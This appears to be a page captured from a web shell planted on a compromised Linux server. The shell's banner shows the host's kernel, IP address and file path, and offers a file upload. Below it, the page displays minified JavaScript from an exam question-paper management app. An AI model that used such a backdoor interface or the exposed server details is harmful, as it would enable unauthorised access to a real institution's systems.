0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.226.187.60


Current Path : /proc/thread-self/root/var/www/qpms/assets/
Upload File :
Current File : //proc/thread-self/root/var/www/qpms/assets/AcceptQpRequest-8f-avY-h.js

import{v as h,E as x,M as E,x as b,y as P,r as p,t as e,B as f,J as j,N as S,D as R,L as A}from"./index-Dk0xQmut.js";import{S as y}from"./index-L1dIitE_.js";import{R as C}from"./HomeOutlined-S5KckINR.js";import{R as g}from"./index-CdaQC3rv.js";import{F as T}from"./Table-BiqHlSZi.js";import"./index-BlHPasXe.js";import"./index-DQvMNxVd.js";import"./responsiveObserver-C9YaTBgz.js";const Q=t=>async(s,u)=>{try{let c=localStorage.getItem("dbname");const l=u();s({type:"SET_LOADER"});const i=await h.get("app.php?a=getQPDetails&db="+c+"&teachcode="+l.loginfo.userData.fregno+"&type="+t);if(typeof i.data!="object")x("Error","Something went wrong, Please try again later");else if(i.data.error_code===0){let r=i.data.data.map((d,n)=>({...d,key:n,fslno:n+1}));s({type:"QP_DETAILS",payload:r})}else s({type:"CLEAR_QP_DETAILS",payload:[]});s({type:"UNSET_LOADER"})}catch(c){console.log(c.message)}},k=(t,s,u,c)=>async(l,i)=>{try{let r=localStorage.getItem("dbname");const d=i();l({type:"SET_BTN_LOADER"});const n=await h.post("app.php?a=acceptQPRequest&db="+r+"&userid="+d.loginfo.userData.fregno+"&collcode="+d.loginfo.userData.fcollcode+"&mobile="+d.loginfo.userData.fmobile,t);console.log(n),n.data.error_code===-2?E.confirm({title:"Warning",content:"Please update bank details before you proceed, Click ok to update bank details",okButtonProps:{style:{backgroundColor:"#8231d3",borderColor:"#8231d3"}},onOk(){s("/qpsettings/bank-details")},onCancel(){console.log("Cancelled")}}):n.data.error_code===0?u(c):x("Info",n.data.data.msg),l({type:"UNSET_BTN_LOADER"})}catch(r){x("Error",r.message)}},w=t=>{const s=P(),[u,c]=p.useState([]),[l,i]=p.useState("Pending");let r="https://qp-scheme.s3.ap-south-1.amazonaws.com/";p.useEffect(()=>{t.getQPDetails(l)},[]),p.useEffect(()=>{c(t.qpAcceptData)},[t.qpAcceptData]);const d=o=>{i(o.target.value),t.getQPDetails(o.target.value)},n=async(o,a)=>{const m=new FormData;m.append("status",a),m.append("data",JSON.stringify(o)),await t.acceptQPRequest(m,s,t.getQPDetails,l)},D=[{title:"Sl. No.",dataIndex:"fslno",align:"center"},{title:"QP Code",dataIndex:"fqpcode",align:"center"},{title:"Subject Name",dataIndex:"fsubname"},{title:"Max. Marks",dataIndex:"fvalmax",align:"center",hidden:t.user.fusertype==="T"&&!0},{title:"Set. No.",dataIndex:"fset",align:"center"},{title:"Syllabus with COs",render:(o,a)=>e.jsx("a",{href:r+a.FQPSYLLABUS,target:"_blank",download:!0,children:"Download"}),align:"center"},{title:"Question Paper Pattern",render:(o,a)=>e.jsx("a",{href:r+a.FQPPATREN,target:"_blank",download:!0,children:"Download"}),align:"center"},{title:"Scheme Pattern",render:(o,a)=>e.jsx("a",{href:r+a.fschpattern,target:"_blank",download:!0,children:"Download"}),align:"center",hidden:t.user.funivcode!=="030"&&!0},{title:"Accept / Reject",render:(o,a)=>e.jsxs(y,{children:[a.fstatus!=="ACCEPTED"&&e.jsx(f,{type:"primary",size:"medium",loading:t.btnLoading,onClick:()=>n(a,"ACCEPTED"),children:e.jsx(j,{})}),a.fstatus!=="REJECTED"&&e.jsx(f,{type:"primary",danger:!0,size:"medium",loading:t.btnLoading,onClick:()=>n(a,"REJECTED"),children:e.jsx(S,{})})]}),align:"center"},{title:"Status",dataIndex:"fstatus",align:"center"}];return e.jsxs(R,{style:{margin:"6rem 10px 10px"},title:e.jsx("h6",{children:"Accept Question Paper Request"}),extra:e.jsx(y,{children:e.jsx(A,{to:"/",children:e.jsxs(f,{type:"primary",danger:!0,children:[e.jsx(C,{})," Exit"]})})}),children:[e.jsxs(g.Group,{style:{marginBottom:"10px"},value:l,onChange:o=>d(o),children:[e.jsx(g,{value:"Pending",children:"Pending"}),e.jsx(g,{value:"Accepted",children:"Accepted"}),e.jsx(g,{value:"Rejected",children:"Rejected"})]}),e.jsx(T,{dataSource:u,columns:D,scroll:{x:1300,y:450,marginTop:"10px"},pagination:!1})]})},_=t=>({qpAcceptData:t.qpAcceptDetails,btnLoading:t.loader.btnLoading,user:t.loginfo.userData}),J=b(_,{getQPDetails:Q,acceptQPRequest:k})(w);export{J as default};